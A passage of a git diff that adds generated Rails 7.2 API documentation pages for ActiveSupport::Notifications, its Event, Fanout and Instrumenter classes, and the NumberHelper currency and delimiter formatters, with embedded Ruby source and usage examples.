event.payload[:exception]         # => ["ArgumentError", "Invalid value"]
+event.payload[:exception_object]  # => #<ArgumentError: Invalid value>
+
+ +

As the earlier example depicts, the class ActiveSupport::Notifications::Event is able to take the arguments as they come and provide an object-oriented interface to that data.

+ +

It is also possible to pass an object which responds to call method as the second parameter to the subscribe method instead of a block:

+ +
module ActionController
+  class PageRequest
+    def call(name, started, finished, unique_id, payload)
+      Rails.logger.debug ['notification:', name, started, finished, unique_id, payload].join(' ')
+    end
+  end
+end
+
+ActiveSupport::Notifications.subscribe('process_action.action_controller', ActionController::PageRequest.new)
+
+ +

resulting in the following output within the logs including a hash with the payload:

+ +
notification: process_action.action_controller 2012-04-13 01:08:35 +0300 2012-04-13 01:08:35 +0300 af358ed7fab884532ec7 {
+   controller: "Devise::SessionsController",
+   action: "new",
+   params: {"action"=>"new", "controller"=>"devise/sessions"},
+   format: :html,
+   method: "GET",
+   path: "/login/sign_in",
+   status: 200,
+   view_runtime: 279.3080806732178,
+   db_runtime: 40.053
+ }
+
+ +

You can also subscribe to all events whose name matches a certain regexp:

+ +
ActiveSupport::Notifications.subscribe(/render/) do |*args|
+  ...
+end
+
+ +

and even pass no argument to subscribe, in which case you are subscribing to all events.

+ +

Temporary Subscriptions

+ +

Sometimes you do not want to subscribe to an event for the entire life of the application. There are two ways to unsubscribe.

+ +

WARNING: The instrumentation framework is designed for long-running subscribers, use this feature sparingly because it wipes some internal caches and that has a negative impact on performance.

+ +

Subscribe While a Block Runs

+ +

You can subscribe to some event temporarily while some block runs. For example, in

+ +
callback = lambda {|event| ... }
+ActiveSupport::Notifications.subscribed(callback, "sql.active_record") do
+  ...
+end
+
+ +

the callback will be called for all β€œsql.active_record” events instrumented during the execution of the block. The callback is unsubscribed automatically after that.

+ +

To record started and finished values with monotonic time, specify the optional :monotonic option to the subscribed method. The :monotonic option is set to false by default.

+ +
callback = lambda {|name, started, finished, unique_id, payload| ... }
+ActiveSupport::Notifications.subscribed(callback, "sql.active_record", monotonic: true) do
+  ...
+end
+
+ +

Manual Unsubscription

+ +

The subscribe method returns a subscriber object:

+ +
subscriber = ActiveSupport::Notifications.subscribe("render") do |event|
+  ...
+end
+
+ +

To prevent that block from being called anymore, just unsubscribe passing that reference:

+ +
ActiveSupport::Notifications.unsubscribe(subscriber)
+
+ +

You can also unsubscribe by passing the name of the subscriber object. Note that this will unsubscribe all subscriptions with the given name:

+ +
ActiveSupport::Notifications.unsubscribe("render")
+
+ +

Subscribers using a regexp or other pattern-matching object will remain subscribed to all events that match their original pattern, unless those events match a string passed to unsubscribe:

+ +
subscriber = ActiveSupport::Notifications.subscribe(/render/) { }
+ActiveSupport::Notifications.unsubscribe('render_template.action_view')
+subscriber.matches?('render_template.action_view') # => false
+subscriber.matches?('render_partial.action_view') # => true
+
+ +

Default Queue

+ +

Notifications ships with a queue implementation that consumes and publishes events to all log subscribers. You can use any queue implementation you want.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + notifier
+ + + + +

Class Public methods

+ +
+

+ + instrument(name, payload = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications.rb, line 208
+      def instrument(name, payload = {})
+        if notifier.listening?(name)
+          instrumenter.instrument(name, payload) { yield payload if block_given? }
+        else
+          yield payload if block_given?
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instrumenter() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications.rb, line 269
+      def instrumenter
+        registry[notifier] ||= Instrumenter.new(notifier)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + monotonic_subscribe(pattern = nil, callback = nil, &block) + +

+ + +
+

Performs the same functionality as subscribe, but the start and finish block arguments are in monotonic time instead of wall-clock time. Monotonic time will not jump forward or backward (due to NTP or Daylights Savings). Use monotonic_subscribe when accuracy of time duration is important. For example, computing elapsed time between two events.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications.rb, line 254
+      def monotonic_subscribe(pattern = nil, callback = nil, &block)
+        notifier.subscribe(pattern, callback, monotonic: true, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + publish(name, *args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications.rb, line 200
+      def publish(name, *args)
+        notifier.publish(name, *args)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subscribe(pattern = nil, callback = nil, &block) + +

+ + +
+

Subscribe to a given event name with the passed block.

+ +

You can subscribe to events by passing a String to match exact event names, or by passing a Regexp to match all events that match a pattern.

+ +

If the block passed to the method only takes one argument, it will yield an Event object to the block:

+ +
ActiveSupport::Notifications.subscribe(/render/) do |event|
+  @event = event
+end
+
+ +

Otherwise the block will receive five arguments with information about the event:

+ +
ActiveSupport::Notifications.subscribe('render') do |name, start, finish, id, payload|
+  name    # => String, name of the event (such as 'render' from above)
+  start   # => Time, when the instrumented block started execution
+  finish  # => Time, when the instrumented block ended execution
+  id      # => String, unique ID for the instrumenter that fired the event
+  payload # => Hash, the payload
+end
+
+ +

Raises an error if invalid event name type is passed:

+ +
ActiveSupport::Notifications.subscribe(:render) {|event| ...}
+#=> ArgumentError (pattern must be specified as a String, Regexp or empty)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications.rb, line 244
+      def subscribe(pattern = nil, callback = nil, &block)
+        notifier.subscribe(pattern, callback, monotonic: false, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subscribed(callback, pattern = nil, monotonic: false, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications.rb, line 258
+      def subscribed(callback, pattern = nil, monotonic: false, &block)
+        subscriber = notifier.subscribe(pattern, callback, monotonic: monotonic)
+        yield
+      ensure
+        unsubscribe(subscriber)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unsubscribe(subscriber_or_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications.rb, line 265
+      def unsubscribe(subscriber_or_name)
+        notifier.unsubscribe(subscriber_or_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Notifications/Event.html b/src/7.2/classes/ActiveSupport/Notifications/Event.html new file mode 100644 index 0000000000..0844c1bd48 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Notifications/Event.html @@ -0,0 +1,519 @@ +--- +title: ActiveSupport::Notifications::Event +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + name
+ [RW] + payload
+ [R] + transaction_id
+ + + + +

Class Public methods

+ +
+

+ + new(name, start, ending, transaction_id, payload) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 110
+      def initialize(name, start, ending, transaction_id, payload)
+        @name           = name
+        @payload        = payload.dup
+        @time           = start ? start.to_f * 1_000.0 : start
+        @transaction_id = transaction_id
+        @end            = ending ? ending.to_f * 1_000.0 : ending
+        @cpu_time_start = 0.0
+        @cpu_time_finish = 0.0
+        @allocation_count_start = 0
+        @allocation_count_finish = 0
+        @gc_time_start = 0
+        @gc_time_finish = 0
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + allocations() + +

+ + +
+

Returns the number of allocations made between the call to start! and the call to finish!.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 176
+      def allocations
+        @allocation_count_finish - @allocation_count_start
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cpu_time() + +

+ + +
+

Returns the CPU time (in milliseconds) passed between the call to start! and the call to finish!.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 163
+      def cpu_time
+        @cpu_time_finish - @cpu_time_start
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + duration() + +

+ + +
+

Returns the difference in milliseconds between when the execution of the event started and when it ended.

+ +
ActiveSupport::Notifications.subscribe('wait') do |event|
+  @event = event
+end
+
+ActiveSupport::Notifications.instrument('wait') do
+  sleep 1
+end
+
+@event.duration # => 1000.138
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 198
+      def duration
+        @end - @time
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + end() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 128
+      def end
+        @end / 1000.0 if @end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + finish!() + +

+ + +
+

Record information at the time this event finishes

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 154
+      def finish!
+        @cpu_time_finish = now_cpu
+        @gc_time_finish = now_gc
+        @end = now
+        @allocation_count_finish = now_allocations
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gc_time() + +

+ + +
+

Returns the time spent in GC (in milliseconds) between the call to start! and the call to finish!

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 182
+      def gc_time
+        (@gc_time_finish - @gc_time_start) / 1_000_000.0
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + idle_time() + +

+ + +
+

Returns the idle time time (in milliseconds) passed between the call to start! and the call to finish!.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 169
+      def idle_time
+        diff = duration - cpu_time
+        diff > 0.0 ? diff : 0.0
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start!() + +

+ + +
+

Record information at the time this event starts

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 146
+      def start!
+        @time = now
+        @cpu_time_start = now_cpu
+        @gc_time_start = now_gc
+        @allocation_count_start = now_allocations
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + time() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 124
+      def time
+        @time / 1000.0 if @time
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Notifications/Fanout.html b/src/7.2/classes/ActiveSupport/Notifications/Fanout.html new file mode 100644 index 0000000000..ef1ae208f3 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Notifications/Fanout.html @@ -0,0 +1,610 @@ +--- +title: ActiveSupport::Notifications::Fanout +layout: default +--- +
+ +
+
+ +
+ +

This is a default queue implementation that ships with Notifications. It just pushes events to all registered log subscribers.

+ +

This class is thread safe. All methods are reentrant.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 51
+      def initialize
+        @mutex = Mutex.new
+        @string_subscribers = Concurrent::Map.new { |h, k| h.compute_if_absent(k) { [] } }
+        @other_subscribers = []
+        @all_listeners_for = Concurrent::Map.new
+        @groups_for = Concurrent::Map.new
+        @silenceable_groups_for = Concurrent::Map.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + all_listeners_for(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 298
+      def all_listeners_for(name)
+        # this is correctly done double-checked locking (Concurrent::Map's lookups have volatile semantics)
+        @all_listeners_for[name] || @mutex.synchronize do
+          # use synchronisation when accessing @subscribers
+          @all_listeners_for[name] ||=
+            @string_subscribers[name] + @other_subscribers.select { |s| s.subscribed_to?(name) }
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build_handle(name, id, payload) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 273
+      def build_handle(name, id, payload)
+        Handle.new(self, name, id, payload)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + finish(name, id, payload, listeners = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 284
+      def finish(name, id, payload, listeners = nil)
+        handle_stack = IsolatedExecutionState[:_fanout_handle_stack]
+        handle = handle_stack.pop
+        handle.finish_with_values(name, id, payload)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + listeners_for(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 307
+      def listeners_for(name)
+        all_listeners_for(name).reject { |s| s.silenced?(name) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + listening?(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 311
+      def listening?(name)
+        all_listeners_for(name).any? { |s| !s.silenced?(name) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + publish(name, *args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 290
+      def publish(name, *args)
+        iterate_guarding_exceptions(listeners_for(name)) { |s| s.publish(name, *args) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + publish_event(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 294
+      def publish_event(event)
+        iterate_guarding_exceptions(listeners_for(event.name)) { |s| s.publish_event(event) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start(name, id, payload) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 277
+      def start(name, id, payload)
+        handle_stack = (IsolatedExecutionState[:_fanout_handle_stack] ||= [])
+        handle = build_handle(name, id, payload)
+        handle_stack << handle
+        handle.start
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subscribe(pattern = nil, callable = nil, monotonic: false, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 65
+      def subscribe(pattern = nil, callable = nil, monotonic: false, &block)
+        subscriber = Subscribers.new(pattern, callable || block, monotonic)
+        @mutex.synchronize do
+          case pattern
+          when String
+            @string_subscribers[pattern] << subscriber
+            clear_cache(pattern)
+          when NilClass, Regexp
+            @other_subscribers << subscriber
+            clear_cache
+          else
+            raise ArgumentError,  "pattern must be specified as a String, Regexp or empty"
+          end
+        end
+        subscriber
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unsubscribe(subscriber_or_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 82
+      def unsubscribe(subscriber_or_name)
+        @mutex.synchronize do
+          case subscriber_or_name
+          when String
+            @string_subscribers[subscriber_or_name].clear
+            clear_cache(subscriber_or_name)
+            @other_subscribers.each { |sub| sub.unsubscribe!(subscriber_or_name) }
+          else
+            pattern = subscriber_or_name.try(:pattern)
+            if String === pattern
+              @string_subscribers[pattern].delete(subscriber_or_name)
+              clear_cache(pattern)
+            else
+              @other_subscribers.delete(subscriber_or_name)
+              clear_cache
+            end
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + wait() + +

+ + +
+

This is a sync queue, so there is no waiting.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 316
+      def wait
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Notifications/Fanout/Handle.html b/src/7.2/classes/ActiveSupport/Notifications/Fanout/Handle.html new file mode 100644 index 0000000000..19980bdfaf --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Notifications/Fanout/Handle.html @@ -0,0 +1,170 @@ +--- +title: ActiveSupport::Notifications::Fanout::Handle +layout: default +--- +
+ +
+
+ +
+ +

A Handle is used to record the start and finish time of event.

+ +

Both start and finish must each be called exactly once.

+ +

Where possible, it’s best to use the block form: ActiveSupport::Notifications.instrument. Handle is a low-level API intended for cases where the block form can’t be used.

+ +
handle = ActiveSupport::Notifications.instrumenter.build_handle("my.event", {})
+begin
+  handle.start
+  # work to be instrumented
+ensure
+  handle.finish
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + finish() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 250
+        def finish
+          finish_with_values(@name, @id, @payload)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 241
+        def start
+          ensure_state! :initialized
+          @state = :started
+
+          iterate_guarding_exceptions(@groups) do |group|
+            group.start(@name, @id, @payload)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Notifications/Fanout/Subscribers.html b/src/7.2/classes/ActiveSupport/Notifications/Fanout/Subscribers.html new file mode 100644 index 0000000000..f955451a44 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Notifications/Fanout/Subscribers.html @@ -0,0 +1,69 @@ +--- +title: ActiveSupport::Notifications::Fanout::Subscribers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Notifications/Fanout/Subscribers/EventObject.html b/src/7.2/classes/ActiveSupport/Notifications/Fanout/Subscribers/EventObject.html new file mode 100644 index 0000000000..855432a01c --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Notifications/Fanout/Subscribers/EventObject.html @@ -0,0 +1,146 @@ +--- +title: ActiveSupport::Notifications::Fanout::Subscribers::EventObject +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + group_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 435
+          def group_class
+            EventObjectGroup
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + publish_event(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 439
+          def publish_event(event)
+            @delegate.call event
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Notifications/Fanout/Subscribers/Matcher.html b/src/7.2/classes/ActiveSupport/Notifications/Fanout/Subscribers/Matcher.html new file mode 100644 index 0000000000..2368d1be5d --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Notifications/Fanout/Subscribers/Matcher.html @@ -0,0 +1,73 @@ +--- +title: ActiveSupport::Notifications::Fanout::Subscribers::Matcher +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Notifications/Fanout/Subscribers/Matcher/AllMessages.html b/src/7.2/classes/ActiveSupport/Notifications/Fanout/Subscribers/Matcher/AllMessages.html new file mode 100644 index 0000000000..4d79759d22 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Notifications/Fanout/Subscribers/Matcher/AllMessages.html @@ -0,0 +1,146 @@ +--- +title: ActiveSupport::Notifications::Fanout::Subscribers::Matcher::AllMessages +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + ===(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 366
+            def ===(name)
+              true
+            end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unsubscribe!(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 370
+            def unsubscribe!(*)
+              false
+            end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Notifications/InstrumentationSubscriberError.html b/src/7.2/classes/ActiveSupport/Notifications/InstrumentationSubscriberError.html new file mode 100644 index 0000000000..893705b85e --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Notifications/InstrumentationSubscriberError.html @@ -0,0 +1,123 @@ +--- +title: ActiveSupport::Notifications::InstrumentationSubscriberError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + exceptions
+ + + + +

Class Public methods

+ +
+

+ + new(exceptions) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/fanout.rb, line 12
+      def initialize(exceptions)
+        @exceptions = exceptions
+        exception_class_names = exceptions.map { |e| e.class.name }
+        super "Exception(s) occurred within instrumentation subscribers: #{exception_class_names.join(', ')}"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Notifications/Instrumenter.html b/src/7.2/classes/ActiveSupport/Notifications/Instrumenter.html new file mode 100644 index 0000000000..95515215e2 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Notifications/Instrumenter.html @@ -0,0 +1,346 @@ +--- +title: ActiveSupport::Notifications::Instrumenter +layout: default +--- +
+ +
+
+ +
+ +

Instrumenters are stored in a thread local.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + id
+ + + + +

Class Public methods

+ +
+

+ + new(notifier) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 12
+      def initialize(notifier)
+        unless notifier.respond_to?(:build_handle)
+          notifier = LegacyHandle::Wrapper.new(notifier)
+        end
+
+        @id       = unique_id
+        @notifier = notifier
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + build_handle(name, payload) + +

+ + +
+

Returns a β€œhandle” for an event with the given name and payload.

+ +

start and finish must each be called exactly once on the returned object.

+ +

Where possible, it’s best to use instrument, which will record the start and finish of the event and correctly handle any exceptions. build_handle is a low-level API intended for cases where using instrument isn’t possible.

+ +

See ActiveSupport::Notifications::Fanout::Handle.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 78
+      def build_handle(name, payload)
+        @notifier.build_handle(name, @id, payload)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + finish(name, payload) + +

+ + +
+

Send a finish notification with name and payload.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 92
+      def finish(name, payload)
+        @notifier.finish name, @id, payload
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + finish_with_state(listeners_state, name, payload) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 96
+      def finish_with_state(listeners_state, name, payload)
+        @notifier.finish name, @id, payload, listeners_state
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instrument(name, payload = {}) + +

+ + +
+

Given a block, instrument it by measuring the time taken to execute and publish it. Without a block, simply send a message via the notifier. Notice that events get sent even if an error occurs in the passed-in block.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 54
+      def instrument(name, payload = {})
+        handle = build_handle(name, payload)
+        handle.start
+        begin
+          yield payload if block_given?
+        rescue Exception => e
+          payload[:exception] = [e.class.name, e.message]
+          payload[:exception_object] = e
+          raise e
+        ensure
+          handle.finish
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start(name, payload) + +

+ + +
+

Send a start notification with name and payload.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/notifications/instrumenter.rb, line 87
+      def start(name, payload)
+        @notifier.start name, @id, payload
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/NumberHelper.html b/src/7.2/classes/ActiveSupport/NumberHelper.html new file mode 100644 index 0000000000..f8640b2aa5 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/NumberHelper.html @@ -0,0 +1,760 @@ +--- +title: ActiveSupport::NumberHelper +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + number_to_currency(number, options = {}) + +

+ + +
+

Formats a number into a currency string.

+ +
number_to_currency(1234567890.50)  # => "$1,234,567,890.50"
+number_to_currency(1234567890.506) # => "$1,234,567,890.51"
+number_to_currency("12x34")        # => "$12x34"
+
+number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: "")
+# => "&pound;1234567890,50"
+
+ +

The currency unit and number formatting of the current locale will be used unless otherwise specified via options. No currency conversion is performed. If the user is given a way to change their locale, they will also be able to change the relative value of the currency displayed with this helper. If your application will ever support multiple locales, you may want to specify a constant :locale option or consider using a library capable of currency conversion.

+ +

Options

+
:locale +
+

The locale to use for formatting. Defaults to the current locale.

+ +
number_to_currency(1234567890.506, locale: :fr)
+# => "1 234 567 890,51 €"
+
+
:precision +
+

The level of precision. Defaults to 2.

+ +
number_to_currency(1234567890.123, precision: 3) # => "$1,234,567,890.123"
+number_to_currency(0.456789, precision: 0)       # => "$0"
+
+
:round_mode +
+

Specifies how rounding is performed. See BigDecimal.mode. Defaults to :default.

+ +
number_to_currency(1234567890.01, precision: 0, round_mode: :up)
+# => "$1,234,567,891"
+
+
:unit +
+

The denomination of the currency. Defaults to "$".

+
:separator +
+

The decimal separator. Defaults to ".".

+
:delimiter +
+

The thousands delimiter. Defaults to ",".

+
:format +
+

The format for non-negative numbers. %u represents the currency, and %n represents the number. Defaults to "%u%n".

+ +
number_to_currency(1234567890.50, format: "%n %u")
+# => "1,234,567,890.50 $"
+
+
:negative_format +
+

The format for negative numbers. %u and %n behave the same as in :format, but %n represents the absolute value of the number. Defaults to the value of :format prepended with -.

+ +
number_to_currency(-1234567890.50, negative_format: "(%u%n)")
+# => "($1,234,567,890.50)"
+
+
:strip_insignificant_zeros +
+

Whether to remove insignificant zeros after the decimal separator. Defaults to false.

+ +
number_to_currency(1234567890.50, strip_insignificant_zeros: true)
+# => "$1,234,567,890.5"
+
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/number_helper.rb, line 139
+    def number_to_currency(number, options = {})
+      NumberToCurrencyConverter.convert(number, options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_to_delimited(number, options = {}) + +

+ + +
+

Formats number by grouping thousands with a delimiter.

+ +
number_to_delimited(12345678)      # => "12,345,678"
+number_to_delimited("123456")      # => "123,456"
+number_to_delimited(12345678.9876) # => "12,345,678.9876"
+number_to_delimited("12x34")       # => "12x34"
+
+number_to_delimited(12345678.9876, delimiter: ".", separator: ",")
+# => "12.345.678,9876"
+
+ +

Options

+
:locale +
+

The locale to use for formatting. Defaults to the current locale.

+ +
number_to_delimited(12345678.05, locale: :fr)
+# => "12 345 678,05"
+
+
:delimiter +
+

The thousands delimiter. Defaults to ",".

+ +
number_to_delimited(12345678, delimiter: ".")
+# => "12.345.678"
+
+
:separator +
+

The decimal separator. Defaults to ".".

+ +
number_to_delimited(12345678.05, separator: " ")
+# => "12,345,678 05"
+
+
:delimiter_pattern +
+

A regexp to determine the placement of delimiters. Helpful when using currency formats like INR.

+ +
number_to_delimited("123456.78", delimiter_pattern: /(\d+?)(?=(\d\d)+(\d)(?!\d))/)
+# => "1,23,456.78"
+
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/number_helper.rb, line 242
+    def number_to_delimited(number, options = {})
+      NumberToDelimitedConverter.convert(number, options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_to_human(number, options = {}) + +

+ + +
+

Formats number into a more human-friendly representation. Useful for numbers that can become very large and too hard to read.

+ +
